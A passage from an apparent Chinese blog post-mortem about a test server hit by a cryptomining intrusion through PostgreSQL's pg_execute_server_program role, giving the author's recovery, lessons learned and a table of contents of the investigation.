- 恶意脚本通过授权自身 pg_execute_server_program 角色来实现执行命令，将恶意二进制带入容器之中

庆幸的是，容器可以被随时恢复，被植入到数据库中的恶意语句也被顺利清除；即使这只是测试用的数据库。

结论

由于我需要专心研发，这台服务器实际上只是我的测试机器，但是在未来会转型成为生产机。我在转向专心开发之前委托过他人帮我好生修整服务器的安全措施。

可惜的是，负责这个工作的人没有完成其职能导致服务器遭到了入侵；万幸的是，基础安全措施做得足够好，没有让危害进一步扩大。

这次教训也说明了服务器的安全措施是必不可少的，比起杂七杂八的安全和一大堆假设，一套精心设计的安全措施更能让人感到安心。

记一次服务器被挂恶意挖矿二进制

现象观测

痕迹收集

IDC 提供的流量日志

sshd 日志

ferron 日志

Debian 软件包完整性检查

恶意二进制文件相关信息

二进制文件

挂马点分析

数据库分析

数据库定损

查下是否存在可疑函数

查事件触发器/触发器

查大对象

收尾工作

危害阻断

数据库清理

检查所有登录入口

阻断容器启动

数据分析

sshd 侧分析

JSON 拆解

通过 GeoIP 进行进一步分析

postgres 侧分析

日志拆解

数据分析

脚本分析

二进制分析

日后谈

入侵链路

结论

`sshd` 日志

`ferron` 日志

`sshd` 侧分析

`postgres` 侧分析